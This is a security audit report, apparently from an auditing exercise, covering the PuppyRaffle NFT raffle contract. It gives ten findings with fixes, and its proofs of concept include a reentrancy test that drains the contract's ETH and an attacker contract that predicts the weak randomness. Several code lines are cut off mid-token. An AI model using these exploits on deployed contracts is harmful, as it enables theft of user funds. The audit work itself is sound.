Title	Author	Date
PuppyRaffle audit	@justAWonderkid	2024/6/23

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

• Call the `enterRaffle` function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. • Duplicate addresses are not allowed • Users are allowed to get a refund of their ticket & value if they call the `refund` function • Every X seconds, the raffle will be able to draw a winner and be minted a random puppy • The owner of the protocol will set a `feeAddress` to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Summary of Findings

Severity	Issue Count
High-Risk	5
Medium-Risk	1
Low-Risk	2
Informational	2
Total	10

Findings

HIGH

[HIGH-1] Reentrancy in `refund` function Because of Not Following CEI Pattern Which Attacker Can Drain All ETH Stored Inside the Contract.

Description:
The `refund` function transfers funds before updating the player's status, exposing it to a reentrancy attack.

Impact:
An attacker can repeatedly call the `refund` function before the player's status is updated, leading to multiple refunds and potential loss of contract funds.

Proof of Concept:

Put The Following Test Inside the `PuppyRaffleTest.t.sol`:

```
function testRefundFunction__isVulnerableToReentrancyAttack() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);

    console.log("Puppy Raffle Contract Balance Before the Reentrancy Attack: ",address(p
    console.log("Attacker Contract Balance Before the Reentrancy Attack: ",address(attac

    attacker.attack{value: entranceFee}();

    console.log("Puppy Raffle Contract Balance Before the Reentrancy Attack: ",address(p
    console.log("Attacker Contract Balance Before the Reentrancy Attack: ",address(attac
}
```

then run the command below in terminal:

```
forge test --match-test testRefundFunction__isVulnerableToReentrancyAttack -vvvv
```

Take a Look At first Few Lines Where you Find Logs:

```
Logs:
    Puppy Raffle Contract Balance Before the Reentrancy Attack:  4000000000000000000
    Attacker Contract Balance Before the Reentrancy Attack:  0
    Puppy Raffle Contract Balance Before the Reentrancy Attack:  0
    Attacker Contract Balance Before the Reentrancy Attack:  5000000000000000000
```

Recommended Mitigation:

Follow the Checks-Effects-Interactions (CEI) pattern to update the player's status before transferring funds:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not ac

    players[playerIndex] = address(0); // Effect
    isParticipant[msg.sender] = false; // Update mapping if used
    emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee); // Interaction
}
```

[HIGH-2] `selectWinner` Uses Weak RNG Which Attacker Can Predict The Random Number.

Description:
The `selectWinner` function uses block attributes and `msg.sender` to generate a random number, which can be predicted and manipulated by miners.

Impact:
An attacker can influence the selection process to increase their chances of winning the raffle, undermining the fairness of the raffle.

Proof of Concept:

Attacker Can Use An Code Like this To Influence `winnerIndex`.

```
interface IPuppyRaffle {
    function enterRaffle(address[] memory newPlayers) external payable;
    function getPlayersArrayLength() external view returns (uint256);
    function getActivePlayerIndex() external view returns (uint256);
    function selectWinner() external;
}

contract WeakRandomness {

    IPuppyRaffle puppy;
    uint256 entranceFee = 1e18;
    uint256 howManyPlayersNeedToBeSoAttackerWinsThePrice;

    event NFTReceived(address, address, uint256, bytes);

    constructor(address _puppy) {
        puppy = IPuppyRaffle(_puppy);
    }

    function attackRandomness() external {
        uint256 playersArrayLength = puppy.getPlayersArrayLength() + 1;
        while (true) {
            uint256 winnerIndex = uint256(keccak256(abi.encodePacked(address(this), bloc
            if (winnerIndex == puppy.getActivePlayerIndex()) {
                howManyPlayersNeedToBeSoAttackerWinsThePrice = playersArrayLength;
                break;
            }
            playersArrayLength++;
        }

        uint256 numberOfPlayersNeedToEnterSoAttackerWinsThePrice =  howManyPlayersNeedTo


        address[] memory players = new address[](numberOfPlayersNeedToEnterSoAttackerWi
        players[0] = address(this);

        for (uint i = 1; i < numberOfPlayersNeedToEnterSoAttackerWinsThePrice; i++) {
            players[i] = (address(i + 100));
        }

        uint256 valueToSend = 1e18 * numberOfPlayersNeedToEnterSoAttackerWinsThePrice;

        puppy.enterRaffle{value: valueToSend}(players);
```

```
            puppy.selectWinner();
        }

        receive() external payable {}

        function onERC721Received( address operator, address from, uint256 tokenId, bytes ca
            emit NFTReceived(operator, from, tokenId, data);
            return this.onERC721Received.selector;
        }

    }
```

Recommended Mitigation:
Use a more secure source of randomness, such as Chainlink VRF, which provides verifiable randomness.

[HIGH-3] Unsafe Casting of uint256 to uint64

Description:
The contract unsafely casts a `uint256` type to `uint64` when updating `totalFees`. This can lead to overflow issues if `totalFees` exceeds the maximum value of a `uint64`.

Impact:
This overflow can cause incorrect fee accounting, potentially leading to loss of funds or incorrect fee withdrawals.

Proof of Concept:

```
totalFees = totalFees + uint64(fee);
```

If `totalFees` exceeds `2^64 - 1`, this will cause an overflow.

Recommended Mitigation:

change `totalFees` type to `uint256` to avoid overflow.

[HIGH-4] Miss Handling of ETH

Description:
The `withdrawFees` function requires the contract's balance to be equal to `totalFees`, which might not always be the case if there are active players.

Impact:
This condition might prevent the owner from withdrawing fees when they should be able to, or conversely, allow for potential manipulation where fees are withdrawn improperly.

Proof of Concept:

attacker can use `selfdestruct` to destroy his contract and force the Contract ETH to PuppyRuffle Contract, Resulting in The Owner of PuppyRaffle Contract Never Can Withdraw Fees.

Recommended Mitigation:

Remove this line:

```
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently
```

[HIGH-5] Attacker Can Exploit `entranceFee * newPlayers.length` Overflow to Join Raffle for Free And Have Extremely High Chance to Win the Prize and Puppy NFT.

Description: The `enterRaffle` function calculates the required value by multiplying `entranceFee` with the length of newPlayers array. If `newPlayers` array contains a very large number of addresses, this calculation can exceed the maximum limit of a uint256, causing an integer overflow. This would result in the `msg.value` check passing incorrectly and allowing the attacker to enter the raffle without paying the correct fee.

Impact: An attacker can exploit this vulnerability to enter the raffle without paying the required `entranceFee`. Additionally, they can use this exploit to increase their chances of winning by submitting a large number of addresses, leading to unfair raffle results and financial loss for the contract.

Recommended Mitigation: Set a logical limit on the number of players who can enter the raffle.

```
    require(newPlayers.length <= MAX_PLAYERS, "PuppyRaffle: Too many players");
```

MEDIUM

[Medium-1] Denial of Service in `enterRaffle` (ROOT CAUSE: Inefficient Duplicate Check + IMPACT: High Gas Fees)

Description:
The `enterRaffle` function checks for duplicate addresses using nested loops, leading to high gas costs.

Impact:
High gas fees discourage new participants from entering the raffle, causing a Denial of Service (DoS).

Proof of Concept:

Put The Following Test Inside the `PuppyRaffleTest.t.sol`:

```
function testEnterRaffleIsVulnerableTo__DenialOfService() public {
    vm.txGasPrice(1);

    uint256 numberOfParticipants = 100;
    address[] memory playersOne = new address[](numberOfParticipants);
    for (uint i = 0; i < numberOfParticipants; i++) {
        playersOne[i] = address(i);
    }

    uint256 gasStartFirst = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersOne.length}(playersOne);
    uint256 gasEndFirst = gasleft();


    address[] memory playersTwo = new address[](numberOfParticipants);
    for (uint i = 0; i < numberOfParticipants; i++) {
        playersTwo[i] = address(i + numberOfParticipants);
    }

    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
    uint256 gasEndSecond = gasleft();

    uint256 gasCostFirstTx = (gasStartFirst - gasEndFirst) * tx.gasprice;
    uint256 gasCostSecondTx = (gasStartSecond - gasEndSecond) * tx.gasprice;

    console.log("Gas Cost Of First 100 players: ", gasCostFirstTx);
    console.log("Gas Cost Of Second 100 players: ", gasCostSecondTx);

    assert(gasCostFirstTx < gasCostSecondTx);
}
```

then run the command below in terminal:

```
forge test --match-test testEnterRaffleIsVulnerableTo__DenialOfService -vvvv
```

Take a Look At first Few Lines Where you Find Logs:

```
Logs:
    Gas Cost Of First 100 players:  6252128
    Gas Cost Of Second 100 players:  18068211
```

Recommended Mitigation:

Use a mapping to track participants and add An Array named `realNewPlayers`, So After Checking for Duplicate Address Inside the For Loop Using the Mapping, it Emits Real New Players Addresses At the End, That are not Duplicates. After the Emit, `realNewPlayers` Array Gets Resseted.

```
address[] private realNewPlayers;
mapping(address => bool) private isParticipant;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to
    for (uint256 i = 0; i < newPlayers.length; i++) {
        require(!isParticipant[newPlayers[i]], "PuppyRaffle: Duplicate player");
        isParticipant[newPlayers[i]] = true;
        players.push(newPlayers[i]);
        realNewPlayers.push(newPlayers[i]);
    }
    emit RaffleEnter(realNewPlayers);
    delete realNewPlayers;
}
```

LOW

[LOW-1] Incorrect Index Return in `getActivePlayerIndex` for First Player in `players` array Which Misleads the Player.

Description:
The `getActivePlayerIndex` function returns 0 if the player is the first in the `players` array or not active, leading to ambiguous results.

Impact:
This can mislead users into thinking the first player is not active, causing potential logic errors in external code relying on this function.

Proof of Concept:

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i; // Returns 0 if player is at index 0
        }
    }
    return 0; // Also returns 0 if player is not found
}
```

Recommended Mitigation:

Return a boolean indicating whether the player is active and their index:

```
function getActivePlayerIndex(address player) external view returns (bool, uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return (true, i);
        }
    }
    return (false, 0);
}
```

[LOW-2] Precision Loss in Fee Calculation

Description:
There is a precision loss when calculating the 20% fee from the total amount collected in the `selectWinner` function. This could result in a slightly lower fee than expected.

Impact:
While the impact is minor, the protocol might collect slightly less in fees than intended, which could affect the sustainability and the expected revenue of the contract.

Recommended Mitigation:

```
-    uint256 fee = (totalAmountCollected * 20) / 100;
+    uint256 fee = totalAmountCollected - prizePool;
```

INFORMATIONAL

[INFO-1] Unused `_isActivePlayer` Function

Description:
The `_isActivePlayer` function is defined as internal but is never used within the contract.

Impact:
This function unnecessarily consumes bytecode space, potentially increasing deployment costs and reducing code readability.

Recommended Mitigation:
Remove the `_isActivePlayer` function if it is not needed, to save gas and improve code clarity.

[INFO-2] Use of Constant Variable for `_baseURI`

Description:
The `_baseURI` function could be replaced with a constant variable to save gas.

Impact:
Using a constant variable instead of a function can reduce gas costs by avoiding function call overhead.

Recommended Mitigation:

Define the base URI as a constant variable:

```
string constant BASE_URI = "data:application/json;base64,";
```

And replace function calls to `_baseURI()` with `BASE_URI`.